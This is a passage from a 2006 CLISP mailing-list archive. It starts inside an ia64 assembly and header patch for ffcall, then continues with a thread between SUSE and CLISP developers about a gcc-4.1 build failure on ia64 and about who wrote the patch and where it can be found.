ld8 r14 = [r14] + ;; + cmp.geu p6, p7 = 15, r14 + (p6) br.cond.dptk .L76 + adds r17 = -32, r35 + ;; + ld8 r14 = [r17] + ;; + adds r14 = 16, r14 + ;; + ld8 r14 = [r14] + ;; + adds r15 = 15, r14 + shr r14 = r9, 56 + ;; + st1 [r15] = r14 +.L76: + adds r23 = -32, r35 + ;; + ld8 r14 = [r23] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.geu p6, p7 = 16, r14 + (p6) br.cond.dptk .L16 + adds r15 = -32, r35 + ;; + ld8 r14 = [r15] + ;; + adds r14 = 16, r14 + ;; + ld8 r14 = [r14] + ;; + adds r14 = 16, r14 + ;; + st1 [r14] = r10 + adds r16 = -32, r35 + ;; + ld8 r14 = [r16] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.geu p6, p7 = 17, r14 + (p6) br.cond.dptk .L78 + adds r17 = -32, r35 + ;; + ld8 r14 = [r17] + ;; + adds r14 = 16, r14 + ;; + ld8 r14 = [r14] + ;; + adds r15 = 17, r14 + shr r14 = r10, 8 + ;; + st1 [r15] = r14 +.L78: + adds r23 = -32, r35 + ;; + ld8 r14 = [r23] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.geu p6, p7 = 18, r14 + (p6) br.cond.dptk .L79 + adds r15 = -32, r35 + ;; + ld8 r14 = [r15] + ;; + adds r14 = 16, r14 + ;; + ld8 r14 = [r14] + ;; + adds r15 = 18, r14 + shr r14 = r10, 16 + ;; + st1 [r15] = r14 +.L79: + adds r16 = -32, r35 + ;; + ld8 r14 = [r16] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.geu p6, p7 = 19, r14 + (p6) br.cond.dptk .L80 + adds r17 = -32, r35 + ;; + ld8 r14 = [r17] + ;; + adds r14 = 16, r14 + ;; + ld8 r14 = [r14] + ;; + adds r15 = 19, r14 + shr r14 = r10, 24 + ;; + st1 [r15] = r14 +.L80: + adds r23 = -32, r35 + ;; + ld8 r14 = [r23] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.geu p6, p7 = 20, r14 + (p6) br.cond.dptk .L81 + adds r15 = -32, r35 + ;; + ld8 r14 = [r15] + ;; + adds r14 = 16, r14 + ;; + ld8 r14 = [r14] + ;; + adds r15 = 20, r14 + shr r14 = r10, 32 + ;; + st1 [r15] = r14 +.L81: + adds r16 = -32, r35 + ;; + ld8 r14 = [r16] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.geu p6, p7 = 21, r14 + (p6) br.cond.dptk .L82 + adds r17 = -32, r35 + ;; + ld8 r14 = [r17] + ;; + adds r14 = 16, r14 + ;; + ld8 r14 = [r14] + ;; + adds r15 = 21, r14 + shr r14 = r10, 40 + ;; + st1 [r15] = r14 +.L82: + adds r23 = -32, r35 + ;; + ld8 r14 = [r23] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.geu p6, p7 = 22, r14 + (p6) br.cond.dptk .L83 + adds r15 = -32, r35 + ;; + ld8 r14 = [r15] + ;; + adds r14 = 16, r14 + ;; + ld8 r14 = [r14] + ;; + adds r15 = 22, r14 + shr r14 = r10, 48 + ;; + st1 [r15] = r14 +.L83: + adds r16 = -32, r35 + ;; + ld8 r14 = [r16] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.geu p6, p7 = 23, r14 + (p6) br.cond.dptk .L84 + adds r17 = -32, r35 + ;; + ld8 r14 = [r17] + ;; + adds r14 = 16, r14 + ;; + ld8 r14 = [r14] + ;; + adds r15 = 23, r14 + shr r14 = r10, 56 + ;; + st1 [r15] = r14 +.L84: + adds r23 = -32, r35 + ;; + ld8 r14 = [r23] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.geu p6, p7 = 24, r14 + (p6) br.cond.dptk .L16 + adds r15 = -32, r35 + ;; + ld8 r14 = [r15] + ;; + adds r14 = 16, r14 + ;; + ld8 r14 = [r14] + ;; + adds r14 = 24, r14 + ;; + st1 [r14] = r11 + adds r16 = -32, r35 + ;; + ld8 r14 = [r16] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.geu p6, p7 = 25, r14 + (p6) br.cond.dptk .L86 + adds r17 = -32, r35 + ;; + ld8 r14 = [r17] + ;; + adds r14 = 16, r14 + ;; + ld8 r14 = [r14] + ;; + adds r15 = 25, r14 + shr r14 = r11, 8 + ;; + st1 [r15] = r14 +.L86: + adds r23 = -32, r35 + ;; + ld8 r14 = [r23] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.geu p6, p7 = 26, r14 + (p6) br.cond.dptk .L87 + adds r15 = -32, r35 + ;; + ld8 r14 = [r15] + ;; + adds r14 = 16, r14 + ;; + ld8 r14 = [r14] + ;; + adds r15 = 26, r14 + shr r14 = r11, 16 + ;; + st1 [r15] = r14 +.L87: + adds r16 = -32, r35 + ;; + ld8 r14 = [r16] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.geu p6, p7 = 27, r14 + (p6) br.cond.dptk .L88 + adds r17 = -32, r35 + ;; + ld8 r14 = [r17] + ;; + adds r14 = 16, r14 + ;; + ld8 r14 = [r14] + ;; + adds r15 = 27, r14 + shr r14 = r11, 24 + ;; + st1 [r15] = r14 +.L88: + adds r23 = -32, r35 + ;; + ld8 r14 = [r23] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.geu p6, p7 = 28, r14 + (p6) br.cond.dptk .L89 + adds r15 = -32, r35 + ;; + ld8 r14 = [r15] + ;; + adds r14 = 16, r14 + ;; + ld8 r14 = [r14] + ;; + adds r15 = 28, r14 + shr r14 = r11, 32 + ;; + st1 [r15] = r14 +.L89: + adds r16 = -32, r35 + ;; + ld8 r14 = [r16] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.geu p6, p7 = 29, r14 + (p6) br.cond.dptk .L90 + adds r17 = -32, r35 + ;; + ld8 r14 = [r17] + ;; + adds r14 = 16, r14 + ;; + ld8 r14 = [r14] + ;; + adds r15 = 29, r14 + shr r14 = r11, 40 + ;; + st1 [r15] = r14 +.L90: + adds r23 = -32, r35 + ;; + ld8 r14 = [r23] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.geu p6, p7 = 30, r14 + (p6) br.cond.dptk .L91 + adds r15 = -32, r35 + ;; + ld8 r14 = [r15] + ;; + adds r14 = 16, r14 + ;; + ld8 r14 = [r14] + ;; + adds r15 = 30, r14 + shr r14 = r11, 48 + ;; + st1 [r15] = r14 +.L91: + adds r16 = -32, r35 + ;; + ld8 r14 = [r16] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.geu p6, p7 = 31, r14 + (p6) br.cond.dptk .L16 + adds r17 = -32, r35 + ;; + ld8 r14 = [r17] + ;; + adds r14 = 16, r14 + ;; + ld8 r14 = [r14] + ;; + adds r15 = 31, r14 + shr r14 = r11, 56 + ;; + st1 [r15] = r14 +.L16: + mov r14 = r0 + ;; + mov r8 = r14 + mov ar.pfs = r34 + mov b0 = r33 + .restore sp + mov r12 = r35 + br.ret.sptk.many b0 ;; - st1 [r14] = r15 -.L18: - addl r8 = 0, r0 - adds r12 = 16, r12 - mov ar.pfs = r37 - mov b0 = r36 - br.ret.sptk.many b0 .endp __builtin_avcall# - .ident "GCC: (GNU) 2.9-ia64-000216 snap-000324" + .ident "GCC: (GNU) 3.3.4 (SUSE Linux)" --- ffcall/avcall/avcall.h.in +++ ffcall/avcall/avcall.h.in 2006-07-19 17:19:49.000000000 +0200 @@ -1112,7 +1112,7 @@ typedef struct * different alignment. */ /* little endian -> small structures < 1 word are adjusted to the left */ -#if defined(__i386__) || defined(__alpha__) || defined(__x86_64__) +#if defined(__i386__) || defined(__alpha__) || defined(__x86_64__) || (defined(__ia64__) && defined(__GNUC__) && (__GNUC__ >= 3)) #define __av_struct(LIST,TYPE,TYPE_SIZE,TYPE_ALIGN,ASSIGN,VAL) \ (((LIST).aptr = \ (__avword*)(((__avword)(LIST).aptr+(TYPE_SIZE)+__av_struct_alignment(TYPE_ALIGN)-1) & -(long)__av_struct_alignment(TYPE_ALIGN)))\ @@ -1121,7 +1121,7 @@ typedef struct (LIST).aptr = (__avword*)(((__avword)(LIST).aptr+sizeof(__avword)-1) & -(long)sizeof(__avword)),\ 0)) #endif -#if defined(__ia64__) +#if defined(__ia64__) && (!defined(__GNUC__) || (__GNUC__ < 3)) /* Types larger than a word have 2-word alignment. */ #define __av_struct(LIST,TYPE,TYPE_SIZE,TYPE_ALIGN,ASSIGN,VAL) \ ((LIST).aptr = (__avword*)(((__avword)(LIST).aptr+(TYPE_SIZE)+__av_struct_alignment(TYPE_ALIGN)-1) & -(long)__av_struct_alignment(TYPE_ALIGN)), \ --- ffcall/callback/vacall_r/vacall_r.h.in +++ ffcall/callback/vacall_r/vacall_r.h.in 2006-07-19 17:23:49.000000000 +0200 @@ -1059,7 +1059,7 @@ typedef __va_alist* va_alist; #endif #define __va_align_struct(LIST,TYPE_SIZE,TYPE_ALIGN) \ (LIST)->aptr = ((LIST)->aptr + __va_struct_alignment(TYPE_ALIGN)-1) & -(long)__va_struct_alignment(TYPE_ALIGN), -#if defined(__i386__) || defined(__m68k__) || defined(__alpha__) || defined(__arm__) || defined(__powerpc64__) || defined(__m88k__) || defined(__convex__) || defined(__x86_64__) +#if defined(__i386__) || defined(__m68k__) || defined(__alpha__) || defined(__arm__) || defined(__powerpc64__) || defined(__m88k__) || defined(__convex__) || defined(__x86_64__) || (defined(__ia64__) && defined(__GNUC__) && (__GNUC__ >= 3)) #define __va_arg_struct(LIST,TYPE_SIZE,TYPE_ALIGN) \ (__va_align_struct(LIST,TYPE_SIZE,TYPE_ALIGN) \ __va_arg_adjusted(LIST,TYPE_SIZE,TYPE_ALIGN) \ @@ -1144,7 +1144,7 @@ typedef __va_alist* va_alist; (void*)__va_arg_rightadjusted(LIST,TYPE_SIZE,TYPE_ALIGN) \ ) #endif -#if defined(__ia64__) +#if defined(__ia64__) && (!defined(__GNUC__) || (__GNUC__ < 3)) /* Types larger than a word have 2-word alignment. */ #define __va_arg_struct(LIST,TYPE_SIZE,TYPE_ALIGN) \ (__va_align_struct(LIST,TYPE_SIZE,TYPE_ALIGN) \ ---------------------------* snap *------------------------------------- Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From sds@podval.org Fri Jul 21 06:36:22 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G3vAy-0007FW-VL for clisp-list@lists.sourceforge.net; Fri, 21 Jul 2006 06:36:22 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G3vAx-0006IN-Ub for clisp-list@lists.sourceforge.net; Fri, 21 Jul 2006 06:36:20 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A84416BF00B2; Fri, 21 Jul 2006 09:36:04 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id 3ACE03680CB; Fri, 21 Jul 2006 09:36:04 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k6LDa4Mu013990; Fri, 21 Jul 2006 09:36:04 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k6LDa4WM013989; Fri, 21 Jul 2006 09:36:04 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20060721132715.GA6346@wotan.suse.de> (Werner Fink's message of "Fri, 21 Jul 2006 15:27:15 +0200") References: <44B6341F.mailIE6118ABK@boole.suse.de> <20060719155623.GA23184@boole.suse.de> <20060721101329.GA15997@wotan.suse.de> <20060721132715.GA6346@wotan.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" , pvaneynd@users.sf.net Date: Fri, 21 Jul 2006 09:36:04 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: pvaneynd@users.sourceforge.net Subject: Re: [clisp-list] Any news about bug 1506857 (clisp w/ gcc-4.1 on ia64) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 21 Jul 2006 13:36:22 -0000 > * Dr. Werner Fink [2006-07-21 15:27:15 +0200]: > > On Fri, Jul 21, 2006 at 09:22:56AM -0400, Sam Steingold wrote: >> > >> > Just tried that, > > This is the last two lines I see > > ./foo -x "(setq zz 10) (saveinitmem \"foo\")" > ./foo: initialization file `/usr/src/packages/BUILD/clisp-2.39/ia64-suse-linux/foo' was not created by this version of CLISP runtime > > and I've set -O0 by hand as last option of the gcc command line. did you also remove "-O2"? >> Peter, doest 2.39 work for you? >> > even removing the patch for ffcall/avcall/avcall-ia64.s for a nwer >> > gcc does not help (without this patch the minitests check fails). >> >> what's that patch? > > Let's see: who wrote it? what is the changelog entry? was it submitted to Bruno for inclusion in the official FFCALL? does it have a canonical URL? (2000+ line in e-mail is not nice) thanks. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://memri.org http://honestreporting.com http://mideasttruth.com http://ffii.org http://jihadwatch.org http://pmw.org.il http://iris.org.il Genius is immortal, but morons live longer. From werner@suse.de Fri Jul 21 06:57:28 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G3vVQ-0000sy-N8 for clisp-list@lists.sourceforge.net; Fri, 21 Jul 2006 06:57:28 -0700 Received: from cantor.suse.de ([195.135.220.2] helo=mx1.suse.de) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1G3vVP-0002Jn-AJ for clisp-list@lists.sourceforge.net; Fri, 21 Jul 2006 06:57:28 -0700 Received: from Relay2.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.suse.de (Postfix) with ESMTP id AC5A3FA49 for ; Fri, 21 Jul 2006 15:57:24 +0200 (CEST) Date: Fri, 21 Jul 2006 15:57:24 +0200 From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Message-ID: <20060721135724.GA11648@wotan.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net References: <44B6341F.mailIE6118ABK@boole.suse.de> <20060719155623.GA23184@boole.suse.de> <20060721101329.GA15997@wotan.suse.de> <20060721132715.GA6346@wotan.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.9i X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Any news about bug 1506857 (clisp w/ gcc-4.1 on ia64) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 21 Jul 2006 13:57:29 -0000 On Fri, Jul 21, 2006 at 09:36:04AM -0400, Sam Steingold wrote: > > * Dr. Werner Fink [2006-07-21 15:27:15 +0200]: > > > > On Fri, Jul 21, 2006 at 09:22:56AM -0400, Sam Steingold wrote: > >> > > >> > Just tried that, > > > > This is the last two lines I see > > > > ./foo -x "(setq zz 10) (saveinitmem \"foo\")" > > ./foo: initialization file `/usr/src/packages/BUILD/clisp-2.39/ia64-suse-linux/foo' was not created by this version of CLISP runtime > > > > and I've set -O0 by hand as last option of the gcc command line. > > did you also remove "-O2"? No, I do not have done that. Acorrdingly to the gcc manual page this is not needed, AFAICR the last option wins. > >> Peter, doest 2.39 work for you? > > > >> > even removing the patch for ffcall/avcall/avcall-ia64.s for a nwer > >> > gcc does not help (without this patch the minitests check fails). > >> > >> what's that patch? > > > > Let's see: > > who wrote it? One of our gcc maintainers togetheer with our ia64 architecture maintainer had done this. > what is the changelog entry? - Make FFI work on ia64 - Make memory mapping of lisp object work correctly on ia64 > was it submitted to Bruno for inclusion in the official FFCALL? > does it have a canonical URL? (2000+ line in e-mail is not nice) Hmmm ... AFAIK attachments do not work with clisp-list@lists.sf.net Normally I prefere gzip/bzip2 attachments but on mailing lists ignoring RFC 2045 I can not do this :( Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From sds@podval.org Fri Jul 21 07:09:48 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G3vhM-00025D-9z for clisp-list@lists.sourceforge.net; Fri, 21 Jul 2006 07:09:48 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G3vhK-0001vk-NI for clisp-list@lists.sourceforge.net; Fri, 21 Jul 2006 07:09:48 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A022FE600B4; Fri, 21 Jul 2006 10:09:38 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id 459ED36A399; Fri, 21 Jul 2006 10:09:38 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k6LE9c9o014250; Fri, 21 Jul 2006 10:09:38 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k6LE9cxk014249; Fri, 21 Jul 2006 10:09:38 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20060721135724.GA11648@wotan.suse.de> (Werner Fink's message of "Fri, 21 Jul 2006 15:57:24 +0200") References: <44B6341F.mailIE6118ABK@boole.suse.de> <20060719155623.GA23184@boole.suse.de> <20060721101329.GA15997@wotan.suse.de> <20060721132715.GA6346@wotan.suse.de> <20060721135724.GA11648@wotan.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Date: Fri, 21 Jul 2006 10:09:37 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Any news about bug 1506857 (clisp w/ gcc-4.1 on ia64) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 21 Jul 2006 14:09:48 -0000 > * Dr. Werner Fink [2006-07-21 15:57:24 +0200]: > >> >> > even removing the patch for ffcall/avcall/avcall-ia64.s for a nwer >> >> > gcc does not help (without this patch the minitests check fails). >> >> >> >> what's that patch? >> > >> > Let's see: >> >> who wrote it? > > One of our gcc maintainers togetheer with our > ia64 architecture maintainer had done this. got names? >> what is the changelog entry? > > - Make FFI work on ia64 > - Make memory mapping of lisp object work correctly on ia64 > >> was it submitted to Bruno for inclusion in the official FFCALL? >> does it have a canonical URL? (2000+ line in e-mail is not nice) > > Hmmm ... AFAIK attachments do not work with clisp-list@lists.sf.net I was asking about a URL, not about attachments. > Normally I prefere gzip/bzip2 attachments but on mailing lists ignoring > RFC 2045 I can not do this :( speaking about standard compliance: you are ignoring both "Reply-to" header and clisp faq that discourages CC to developers of messages sent to mailing lists. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://ffii.org http://mideasttruth.com http://camera.org http://truepeace.org http://thereligionofpeace.com http://jihadwatch.org The difference between genius and stupidity is that genius has its limits. From werner@suse.de Fri Jul 21 07:32:11 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G3w30-00044p-Se for clisp-list@lists.sourceforge.net; Fri, 21 Jul 2006 07:32:10 -0700 Received: from ns1.suse.de ([195.135.220.2] helo=mx1.suse.de) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1G3w2z-00076k-97 for clisp-list@lists.sourceforge.net; Fri, 21 Jul 2006 07:32:10 -0700 Received: from Relay2.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.suse.de (Postfix) with ESMTP id E5AFCFAAD for ; Fri, 21 Jul 2006 16:32:05 +0200 (CEST) Date: Fri, 21 Jul 2006 16:32:05 +0200 From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Message-ID: <20060721143205.GA10812@wotan.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net References: <44B6341F.mailIE6118ABK@boole.suse.de> <20060719155623.GA23184@boole.suse.de> <20060721101329.GA15997@wotan.suse.de> <20060721132715.GA6346@wotan.suse.de> <20060721135724.GA11648@wotan.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.9i X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Any news about bug 1506857 (clisp w/ gcc-4.1 on ia64) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 21 Jul 2006 14:32:11 -0000 On Fri, Jul 21, 2006 at 10:09:37AM -0400, Sam Steingold wrote: > > * Dr. Werner Fink [2006-07-21 15:57:24 +0200]: > > > >> >> > even removing the patch for ffcall/avcall/avcall-ia64.s for a nwer > >> >> > gcc does not help (without this patch the minitests check fails). > >> >> > >> >> what's that patch? > >> > > >> > Let's see: > >> > >> who wrote it? > > > > One of our gcc maintainers togetheer with our > > ia64 architecture maintainer had done this. > > got names? e.g. Andreas Schwab Andreas Jaeger > speaking about standard compliance: you are ignoring both "Reply-to" > header and clisp faq that discourages CC to developers of messages sent > to mailing lists. Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From sds@podval.org Fri Jul 21 07:43:13 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G3wDh-0005GX-D7 for clisp-list@lists.sourceforge.net; Fri, 21 Jul 2006 07:43:13 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G3wDe-0001BU-SR for clisp-list@lists.sourceforge.net; Fri, 21 Jul 2006 07:43:13 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A7F2174600B2; Fri, 21 Jul 2006 10:42:58 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id 4FA4336A078; Fri, 21 Jul 2006 10:42:58 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k6LEgw4U014541; Fri, 21 Jul 2006 10:42:58 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k6LEgwO5014540; Fri, 21 Jul 2006 10:42:58 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20060721143205.GA10812@wotan.suse.de> (Werner Fink's message of "Fri, 21 Jul 2006 16:32:05 +0200") References: <44B6341F.mailIE6118ABK@boole.suse.de> <20060719155623.GA23184@boole.suse.de> <20060721101329.GA15997@wotan.suse.de> <20060721132715.GA6346@wotan.suse.de> <20060721135724.GA11648@wotan.suse.de> <20060721143205.GA10812@wotan.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Date: Fri, 21 Jul 2006 10:42:57 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Any news about bug 1506857 (clisp w/ gcc-4.1 on ia64) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 21 Jul 2006 14:43:13 -0000 > * Dr. Werner Fink [2006-07-21 16:32:05 +0200]: > > On Fri, Jul 21, 2006 at 10:09:37AM -0400, Sam Steingold wrote: >> > * Dr. Werner Fink [2006-07-21 15:57:24 +0200]: >> > >> >> >> > even removing the patch for ffcall/avcall/avcall-ia64.s for a nwer >> >> >> > gcc does not help (without this patch the minitests check fails). >> >> >> >> >> >> what's that patch? >> >> > >> >> > Let's see: >> >> >> >> who wrote it? >> > >> > One of our gcc maintainers togetheer with our >> > ia64 architecture maintainer had done this. >> >> got names? > > e.g. Andreas Schwab > Andreas Jaeger thanks. now, what is the URL for the patch? -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://camera.org http://mideasttruth.com http://honestreporting.com http://truepeace.org http://thereligionofpeace.com http://jihadwatch.org Heredity, n: the reason your children are bright. From lisp-clisp-list@m.gmane.org Thu Jul 20 09:42:01 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G3bb7-0001Jd-KG for clisp-list@lists.sourceforge.net; Thu, 20 Jul 2006 09:42:01 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1G3bb6-0003cr-31 for clisp-list@lists.sourceforge.net; Thu, 20 Jul 2006 09:42:01 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1G3bar-0006t6-OT for clisp-list@lists.sourceforge.net; Thu, 20 Jul 2006 18:41:46 +0200 Received: from dsl254-123-194.nyc1.dsl.speakeasy.net ([216.254.123.194]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 20 Jul 2006 18:41:45 +0200 Received: from russell_mcmanus by dsl254-123-194.nyc1.dsl.speakeasy.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 20 Jul 2006 18:41:45 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Russell McManus Date: Thu, 20 Jul 2006 12:39:39 -0400 Lines: 21 Message-ID: <87lkqo6xis.fsf@cl-user.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: dsl254-123-194.nyc1.dsl.speakeasy.net User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Jumbo Shrimp, berkeley-unix) Cancel-Lock: sha1:zz0Y1VJqt9W98s9KYTFitTSWSNU= Sender: news X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.2 